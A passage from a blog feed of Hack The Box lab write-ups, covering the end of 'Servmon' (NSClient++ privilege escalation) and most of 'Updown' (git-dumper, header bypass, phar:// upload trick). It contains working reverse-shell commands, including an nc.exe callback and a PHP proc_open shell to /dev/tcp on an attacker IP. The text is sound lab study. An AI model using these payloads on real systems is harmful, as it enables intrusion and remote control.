&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Default, this leads to privileged code execution.&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;I roughly followed the instruction from git, here is what I did.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Get the web administrator password
&lt;code&gt;nadine@SERVMON C:\Program Files\NSClient++&amp;gt;type nsclient.ini&lt;/code&gt; and it shows a password in the config - &lt;code&gt;Web Admin password: ew2x6SsGTxjRwXOT&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Download the exploit from &lt;a href="https://github.com/Khalidhaimur/NSClient-Remote-Code-Execution" target="_blank" rel="noreferrer"&gt;here&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Created a temp file in the root directory with &lt;code&gt;mkdir temp&lt;/code&gt; and uploaded nc.exe with &lt;code&gt;scp ~/Desktop/tools/nc.exe nadine@10.129.227.77:C:/temp/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Did local port forwarding with &lt;code&gt;ssh -L 8443:127.0.0.1:8443 nadine@10.129.227.77&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Lunched a listener on the attack host with &lt;code&gt;nc -lnvp 1337&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Renamed the script from &amp;ldquo;48360.txt.txt&amp;rdquo; to &amp;ldquo;48360.py&amp;rdquo; with the &lt;code&gt;mv&lt;/code&gt; command&lt;/li&gt;
&lt;li&gt;Run the script with this command &lt;code&gt;python3 48360.py -t 127.0.0.1 -P 8443 -p &amp;quot;ew2x6SsGTxjRwXOT&amp;quot; -c &amp;quot;C:\temp\nc.exe 10.10.15.189 1337 -e cmd.exe&amp;quot;&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;With these steps I managed to get a callback on my listener as NT SYSTEM and I found a root flag on admin&amp;rsquo;s desktop.&lt;/p&gt;
&lt;p&gt;I also created an issue for the author of this exploit to make the official instruction simpler to follow along.&lt;/p&gt;

&lt;h2 class="relative group"&gt;Closing Thoughts
 &lt;div id="closing-thoughts" class="anchor"&gt;&lt;/div&gt;
 
&lt;/h2&gt;
&lt;p&gt;Servmon is a relatively simple machine. There are two public exploits that can be used to finish it and a Metasploit script for even less hustle. The level of complexity highly depends on your approach. Overall a good machine to try out.&lt;/p&gt;
&lt;p&gt;Regarding lessons learned, I again spent too much time looking for a ton of different possible ways to pivot and didn&amp;rsquo;t focus on the most obvious one. Detailed enumeration is very important but I should see until the end each vector before moving to another just for the time sake.&lt;/p&gt;</description><media:content xmlns:media="http://search.yahoo.com/mrss/" url="https://emilpawlak.codeberg.page/posts/htb/servmon/featured.png"/></item><item><title>Updown</title><link>https://emilpawlak.codeberg.page/posts/htb/updown/</link><pubDate>12.04.2026</pubDate><author>EmilPawlak@protonmail.com (Emil Pawlak)</author><guid>https://emilpawlak.codeberg.page/posts/htb/updown/</guid><description>Updown is a really challenging machine very focused on niche web exploitation, solid code review and careful parameter manipulation to actually exploit the attack vectors.</description><description>
&lt;h2 class="relative group"&gt;Enumeration
 &lt;div id="enumeration" class="anchor"&gt;&lt;/div&gt;
 
&lt;/h2&gt;

&lt;h3 class="relative group"&gt;nmap
 &lt;div id="nmap" class="anchor"&gt;&lt;/div&gt;
 
&lt;/h3&gt;
&lt;p&gt;I start with a nmap scan which shows that the only ports opened are HTTP, SSH on TCP and DHCP on UDP.





&lt;div
 id="accordion-b384508b4c968639ee5c0ced976148a1"
 class="border border-neutral-200 dark:border-neutral-700 rounded-lg overflow-hidden"
 data-accordion="collapse"
 data-accordion-separated="false"
&gt;
	


 










&lt;details
 class="group border-none"
 data-accordion-item
 
&gt;
 &lt;summary class="flex w-full cursor-pointer items-center justify-between gap-4 px-4 py-3 text-left text-lg font-semibold text-neutral-900 dark:text-neutral-100"&gt;
 &lt;span class="flex items-center gap-2"&gt;
 
 &lt;span class="relative block icon"&gt;&lt;svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"&gt;
&lt;path fill="currentColor" d="M392.8 1.2c-17-4.9-34.7 5-39.6 22l-128 448c-4.9 17 5 34.7 22 39.6s34.7-5 39.6-22l128-448c4.9-17-5-34.7-22-39.6zm80.6 120.1c-12.5 12.5-12.5 32.8 0 45.3L562.7 256l-89.4 89.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0l112-112c12.5-12.5 12.5-32.8 0-45.3l-112-112c-12.5-12.5-32.8-12.5-45.3 0zm-306.7 0c-12.5-12.5-32.8-12.5-45.3 0l-112 112c-12.5 12.5-12.5 32.8 0 45.3l112 112c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3L77.3 256l89.4-89.4c12.5-12.5 12.5-32.8 0-45.3z"/&gt;&lt;/svg&gt;&lt;/span&gt;
 
 &lt;span&gt;nmap scan results&lt;/span&gt;
 &lt;/span&gt;
 &lt;span class="accordion-chevron ms-auto flex h-5 w-5 items-center justify-center print:hidden"&gt;
 &lt;span class="relative block icon"&gt;&lt;svg
 xmlns="http://www.w3.org/2000/svg"
 viewBox="0 0 20 20"
 fill="currentColor"
 aria-hidden="true"
&gt;
 &lt;path
 fill-rule="evenodd"
 d="M5.23 7.21a.75.75 0 011.06.02L10 11.168l3.71-3.938a.75.75 0 111.08 1.04l-4.25 4.5a.75.75 0 01-1.08 0l-4.25-4.5a.75.75 0 01.02-1.06z"
 clip-rule="evenodd"
 /&gt;
&lt;/svg&gt;
&lt;/span&gt;
 &lt;/span&gt;
 &lt;/summary&gt;
&lt;div class="px-4 pb-4 text-neutral-700 dark:text-neutral-300"&gt;
 &lt;pre&gt;&lt;code&gt;Nmap scan report for 10.129.227.227
Host is up (0.040s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
| 3072 9e:1f:98:d7:c8:ba:61:db:f1:49:66:9d:70:17:02:e7 (RSA)
| 256 c2:1c:fe:11:52:e3:d7:e5:f7:59:18:6b:68:45:3f:62 (ECDSA)
|_ 256 5f:6e:12:67:0a:66:e8:e2:b7:61:be:c4:14:3a:d3:8e (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Is my Website up ?
|_http-server-header: Apache/2.4.41 (Ubuntu)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.95%E=4%D=4/9%OT=22%CT=1%CU=34949%PV=Y%DS=2%DC=I%G=Y%TM=69D81DCE
OS:%P=x86_64-pc-linux-gnu)SEQ(SP=101%GCD=1%ISR=10A%TI=Z%CI=Z%II=I%TS=A)SEQ(
OS:SP=104%GCD=1%ISR=107%TI=Z%CI=Z%II=I%TS=A)SEQ(SP=105%GCD=1%ISR=10D%TI=Z%C
OS:I=Z%II=I%TS=A)SEQ(SP=F4%GCD=1%ISR=F8%TI=Z%CI=Z%II=I%TS=A)SEQ(SP=F8%GCD=1
OS:%ISR=108%TI=Z%CI=Z%II=I%TS=A)OPS(O1=M4E2ST11NW7%O2=M4E2ST11NW7%O3=M4E2NN
OS:T11NW7%O4=M4E2ST11NW7%O5=M4E2ST11NW7%O6=M4E2ST11)WIN(W1=FE88%W2=FE88%W3=
OS:FE88%W4=FE88%W5=FE88%W6=FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M4E2NNSNW7%CC=Y%
OS:Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40
OS:%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q
OS:=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=N)U1(R=Y%DF=N%T=40%IP
OS:L=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.58 seconds
Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-09 23:44 CEST
Nmap scan report for 10.129.227.227
Host is up (0.028s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http

Nmap done: 1 IP address (1 host up) scanned in 11.93 seconds
Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-09 23:45 CEST
Nmap scan report for 10.129.227.227
Host is up (0.028s latency).
Not shown: 999 closed udp ports (port-unreach)
PORT STATE SERVICE
68/udp open|filtered dhcpc

Nmap done: 1 IP address (1 host up) scanned in 1011.77 seconds
&lt;/code&gt;&lt;/pre&gt;

 &lt;/div&gt;
&lt;/details&gt;

&lt;/div&gt;

&lt;style&gt;
 #accordion-b384508b4c968639ee5c0ced976148a1 &gt; details + details {
 border-top: 1px solid rgb(var(--color-neutral-200));
 }
 .dark #accordion-b384508b4c968639ee5c0ced976148a1 &gt; details + details {
 border-top-color: rgb(var(--color-neutral-700));
 }
&lt;/style&gt;

&lt;style&gt;
 #accordion-b384508b4c968639ee5c0ced976148a1 details[data-accordion-item] &gt; summary .accordion-chevron {
 transform: rotate(-90deg);
 transition: transform 200ms ease-in-out;
 }
 #accordion-b384508b4c968639ee5c0ced976148a1 details[data-accordion-item][open] &gt; summary .accordion-chevron {
 transform: rotate(0deg);
 }
&lt;/style&gt;

&lt;script&gt;
 (() =&gt; {
 const root = document.getElementById("accordion-b384508b4c968639ee5c0ced976148a1");
 if (!root) return;
 const items = root.querySelectorAll("details[data-accordion-item]");
 items.forEach((item) =&gt; {
 item.addEventListener("toggle", () =&gt; {
 if (!item.open) return;
 items.forEach((other) =&gt; {
 if (other !== item) other.removeAttribute("open");
 });
 });
 });
 })();
&lt;/script&gt;

&lt;br&gt;&lt;/p&gt;

&lt;h3 class="relative group"&gt;HTTP
 &lt;div id="http" class="anchor"&gt;&lt;/div&gt;
 
&lt;/h3&gt;
&lt;p&gt;Looking at the website we can see that it&amp;rsquo;s conceptually a simple website that checks if another given website is up, or down. Looking around the mechanism normally and through burpsuite I can see that there is a lot of filtering around the input. The most bare down version of a query is &amp;ldquo;h://t&amp;rdquo; but any type of injection or inclusion are being caught by the system&amp;rsquo;s logic.&lt;/p&gt;
&lt;p&gt;Now I&amp;rsquo;ll set up a listener and see if the checker connects - it does. I now created a PHP shell and I&amp;rsquo;ll see if it executes it. Unfortunately it doesn&amp;rsquo;t.&lt;/p&gt;
&lt;p&gt;I scanned for different subdomains and directories with [[ffuf]] and I found &amp;ldquo;dev&amp;rdquo; for both of the scans. It however only shows a 403 - forbidden error.&lt;/p&gt;
&lt;p&gt;I started another directory enumeration with ffuf - this time inside &lt;code&gt;/dev&lt;/code&gt; and it came I found a &amp;ldquo;.git&amp;rdquo; directory. I didn&amp;rsquo;t think of it as valuable at first, but after some digging and reading it can hold some nice data. I also found this tool named &lt;a href="http://dev.10.129.227.227/dev/.git/" target="_blank" rel="noreferrer"&gt;git-dumper&lt;/a&gt; which seems it could be useful exactly for that.&lt;/p&gt;

&lt;h3 class="relative group"&gt;Git code review
 &lt;div id="git-code-review" class="anchor"&gt;&lt;/div&gt;
 
&lt;/h3&gt;
&lt;p&gt;I tested both manual enumeration and with git-dumper. The second one is in my opinion superior as the tool doesn&amp;rsquo;t only download and list files from /.git as I expected - it reconstructs the repo itself rebuilding the actual working directory from the git objects.&lt;/p&gt;
&lt;p&gt;From the &amp;ldquo;changelog.txt&amp;rdquo; I learn that there is an upload option on the website and a plan for a new admin panel.
Checking the &amp;ldquo;checker.php&amp;rdquo; I found some interesting information about the logic of the website, especially these parts:&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-PHP" data-lang="PHP"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Check if extension is allowed.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	&lt;span class="nv"&gt;$ext&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;getExtension&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$file&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;preg_match&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;/php|php[0-9]|html|py|pl|phtml|zip|rar|gz|gzip|tar/i&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nv"&gt;$ext&lt;/span&gt;&lt;span class="p"&gt;)){&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;		&lt;span class="k"&gt;die&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;Extension not allowed!&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Create directory to upload our file.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	&lt;span class="nv"&gt;$dir&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;uploads/&amp;#34;&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;md5&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;time&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;/&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;is_dir&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$dir&lt;/span&gt;&lt;span class="p"&gt;)){&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;mkdir&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$dir&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mo"&gt;0770&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;true&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# File size must be less than 10kb.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$_FILES&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;file&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;size&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;10000&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;die&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;File too large!&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Key information:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;I know which extensions are not allowed&lt;/li&gt;
&lt;li&gt;I know the upload location and the naming convention of the uploaded file too&lt;/li&gt;
&lt;li&gt;I know that the file must be smaller than 10 kB.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Now my task is to structure an attack path that will check all of these boxes.
Firstly, one php related extension which can execute that I don&amp;rsquo;t see mentioned in the script is &amp;ldquo;.phar&amp;rdquo;.
With a reverse shell named &amp;ldquo;shell.phar&amp;rdquo; I would need to access it under &amp;ldquo;&lt;a href="http://siteisup.htb/uploads/" target="_blank" rel="noreferrer"&gt;http://siteisup.htb/uploads/&lt;/a&gt;&lt;md5 hash of the upload time&gt;/shell.phar&amp;rdquo; - let&amp;rsquo;s see if I&amp;rsquo;m right.&lt;/p&gt;
&lt;p&gt;I create a shell file, the payload itself is from PentestMonkey.
I started a python server where my shell resides with &lt;code&gt;azaeir@parrot (~/Desktop/htb/machines/updown): python -m http.server 1338&lt;/code&gt;, I requested the shell from the siteisup.htb and got a confirmation that it was successful. This confirmation also contains a timestamp &lt;code&gt;10.129.227.227 - - [11/Apr/2026 16:51:45] &amp;quot;GET /shell.phar HTTP/1.1&amp;quot; 200 -&lt;/code&gt;. I quickly read that the PHP&amp;rsquo;s time() function uses epoch format. I could&amp;rsquo;ve ran the function myself, but I found a &lt;a href="https://www.epochconverter.com/" target="_blank" rel="noreferrer"&gt;simple website&lt;/a&gt; that converts time dates into epoch. I take my output of &amp;ldquo;1765462305&amp;rdquo; and run it against a &lt;a href="https://www.md5hashgenerator.com/" target="_blank" rel="noreferrer"&gt;hash generator&lt;/a&gt; and get my hash - here is the process:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;11/Apr/2026 16:51:45 - Original&lt;/li&gt;
&lt;li&gt;11/Apr/2026 14:51:45 - Converted to UTC&lt;/li&gt;
&lt;li&gt;1775919105 - Converted into Epoch&lt;/li&gt;
&lt;li&gt;696c4310b51bd75fc8591dca1f24e191 - Hashed with MD5&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Sadly - even though it would be a cool technique - this doesn&amp;rsquo;t work.
This could be because of the server using different time or the last function in the script which might automatically delete uploaded files to block this whole attack path.&lt;/p&gt;
&lt;p&gt;I decided to step back and carefully read through all the files and try to understand them.&lt;/p&gt;

&lt;h2 class="relative group"&gt;Foothold
 &lt;div id="foothold" class="anchor"&gt;&lt;/div&gt;
 
&lt;/h2&gt;

&lt;h3 class="relative group"&gt;Setting up the header
 &lt;div id="setting-up-the-header" class="anchor"&gt;&lt;/div&gt;
 
&lt;/h3&gt;
&lt;p&gt;In the &lt;code&gt;.htaccess&lt;/code&gt; there is a rule that blocks all traffic unless a request includes the &amp;ldquo;Special-Dev header set to &amp;ldquo;only4dev&amp;rdquo;, which then grants access via an environment flag. Let&amp;rsquo;s try to access both the normal and the &lt;code&gt;dev.&lt;/code&gt; subdomain.&lt;/p&gt;
&lt;p&gt;I can&amp;rsquo;t seem to make it work with burpsuite, I get a time-out, but curl does work &lt;code&gt;curl -H &amp;quot;Special-Dev: only4dev&amp;quot; http://dev.siteisup.htb&lt;/code&gt;. To make it work better I found this &lt;a href="https://addons.mozilla.org/en-US/firefox/addon/modify-header-value/" target="_blank" rel="noreferrer"&gt;firefox add-on&lt;/a&gt; which made it persistent.&lt;/p&gt;

&lt;h3 class="relative group"&gt;PHP wrappers
 &lt;div id="php-wrappers" class="anchor"&gt;&lt;/div&gt;
 
&lt;/h3&gt;
&lt;p&gt;At this point I struggled a lot. I got access to the developer which allowed me this time to upload a file with URL addresses to check if they are up or down. I wasn&amp;rsquo;t able to upload any rev shells or webshell because of the extension limits I saw in the source code. When I accessed the admin page I noticed a &amp;ldquo;page&amp;rdquo; get parameter so I decided to look for some PHP filters and attempt LFI but this also failed. While researching PHP filters I stumbled upon the topic of PHP wrappers. In short, PHP wrappers allow PHP to read a bunch of different streams of data. So besides being used with &lt;code&gt;http://&lt;/code&gt; or &lt;code&gt;https://&lt;/code&gt; it can also understand &lt;code&gt;zip://&lt;/code&gt;, &lt;code&gt;phar://&lt;/code&gt; and a bunch of more of them. As I wasn&amp;rsquo;t able to input basic php extensions I wanted to upload a zip file with my rev shell but it didn&amp;rsquo;t work. I guess partially because of the fact that php was also somewhere in the code mentioned to be black listed, and, also because they might be further filtering for PHP functions rendering most of the shell useless. I decided to create a zip file but change it&amp;rsquo;s extension to something random, hoping that filtering doesn&amp;rsquo;t check the magic bytes and run &lt;code&gt;&amp;lt;?php phpinfo(); ?&amp;gt;&lt;/code&gt;. To access this file, I decided to try phar as it behaves in a lot of ways like zip data stream but it might&amp;rsquo;ve not been blocked and to my surprise, this combination worked. &lt;code&gt;http://dev.siteisup.htb/?page=phar://uploads/4eba46216cd35f13b3cd75de77575283/info.az/info&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;In phpinfo I can see a big list of disabled function which explains why my shells didn&amp;rsquo;t work.&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,error_log,system,exec,shell_exec,popen,passthru,link,symlink,syslog,ld,mail,stream_socket_sendto,dl,stream_socket_client,fsockopen&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 class="relative group"&gt;Bypassing filters
 &lt;div id="bypassing-filters" class="anchor"&gt;&lt;/div&gt;
 
&lt;/h3&gt;
&lt;p&gt;I could look through them manually and see if there are any that were not mentioned, but I much more prefer to use &lt;a href="https://github.com/teambi0s/dfunc-bypasser" target="_blank" rel="noreferrer"&gt;dfunc-bypasser&lt;/a&gt;. The original dfunc runs on python2 which is deprecated, but I luckily found a &lt;a href="https://github.com/UsifAraby/dfunc-bypasser-python3" target="_blank" rel="noreferrer"&gt;python3 fork&lt;/a&gt;.
When I ran this script it didn&amp;rsquo;t want to connect to the site, this is likely because of the fact that we need a special header to access it. I made a copy of the tool and looked through it to see if I can add edit the header somewhere in it but I wasn&amp;rsquo;t able to figure it out. I just decided to cut my losses and examine the list myself. It would be a big waste of time if I started to edit a python script for it to not find any functions.&lt;/p&gt;
&lt;p&gt;I wanted to go one-by-one through the functions. Then I thought I could make some short python script/loop that would check phpinfo() output and mark those vulnerable functions and lastly I though &amp;ldquo;this functionality must be in the dfunc-bypasser itself, right?&amp;rdquo; Because of that I noticed two easy way to enumerate those functions.&lt;/p&gt;
&lt;p&gt;Firstly there is no need to edit the dfunc-bypasser, there is a simple &lt;code&gt;-H&lt;/code&gt; flag which worked for me &lt;code&gt;dfunc-bypasser.py --url 'http://dev.siteisup.htb/?page=phar://uploads/9d7e3ad5bd39603e06555b7ab37a490d/info.az/info' -H 'Special-Dev=only4dev'&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Secondly, there is a &lt;code&gt;--file&lt;/code&gt; flag which takes a local file of phpinfo so one could dump the data from the website and parse it that way.&lt;/p&gt;

&lt;h3 class="relative group"&gt;Setting up a shell
 &lt;div id="setting-up-a-shell" class="anchor"&gt;&lt;/div&gt;
 
&lt;/h3&gt;
&lt;p&gt;Finally, I can see that &lt;code&gt;proc_open&lt;/code&gt; is a function that is not being filtered.&lt;/p&gt;
&lt;p&gt;To exploit this function I started to look for different web shells like &lt;a href="https://github.com/prodigiousMind/revshell/blob/main/rev.php" target="_blank" rel="noreferrer"&gt;this one&lt;/a&gt; or &lt;a href="https://github.com/Boon-Rekcah/php-reverse-shell-proc_open" target="_blank" rel="noreferrer"&gt;this one&lt;/a&gt;. I swapped through a bunch of them until I finally found one that worked and didn&amp;rsquo;t use any forbidden functions:&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt;?php
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$descriptorspec = array(
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; 0 =&amp;gt; array(&amp;#34;pipe&amp;#34;, &amp;#34;r&amp;#34;), // stdin
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; 1 =&amp;gt; array(&amp;#34;pipe&amp;#34;, &amp;#34;w&amp;#34;), // stdout
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; 2 =&amp;gt; array(&amp;#34;pipe&amp;#34;, &amp;#34;w&amp;#34;) // stderr
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$process = proc_open(&amp;#39;/bin/bash -c &amp;#34;bash -i &amp;gt;&amp;amp; /dev/tcp/10.10.15.189/1337 0&amp;gt;&amp;amp;1&amp;#34;&amp;#39;, $descriptorspec, $pipes);
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;if (is_resource($process)) {
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; fclose($pipes[0]);
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; fclose($pipes[1]);
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; fclose($pipes[2]);
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; proc_close($process);
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;?&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;I put it in &amp;ldquo;procopenshell.php&amp;rdquo; and zipped it using an arbitrary extension - &lt;code&gt;zip proc.lol procopenshell.php&lt;/code&gt;.
I started a listener to catch the shell - &lt;code&gt;rlwrap -r nc -lnvp 1337&lt;/code&gt;
And soon after I uploaded the file, I access the shell with this URL &lt;code&gt;http://dev.siteisup.htb/?page=phar://uploads/b47622cacd7fde0edbbdcea9c74b7e28/proc.lol/procopenshell&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;What I found confusing is that I had to specify an extension for procopenshell.php even though the websites logic showed that it will append it itself. Without the extension, shell doesn&amp;rsquo;t execute. Maybe it&amp;rsquo;s because the file is in an archive? I guess it just checks the initial archive folder and doesn&amp;rsquo;t look inside - hard for me to tell.&lt;/p&gt;

&lt;h3 class="relative group"&gt;www-data
 &lt;div id="www-data" class="anchor"&gt;&lt;/div&gt;
 
&lt;/h3&gt;
&lt;p&gt;Anyway, with this we finally get a shell as a www-data user.&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;www-data@updown:/home/developer/dev$ ls -la
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ls -la
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;total 32
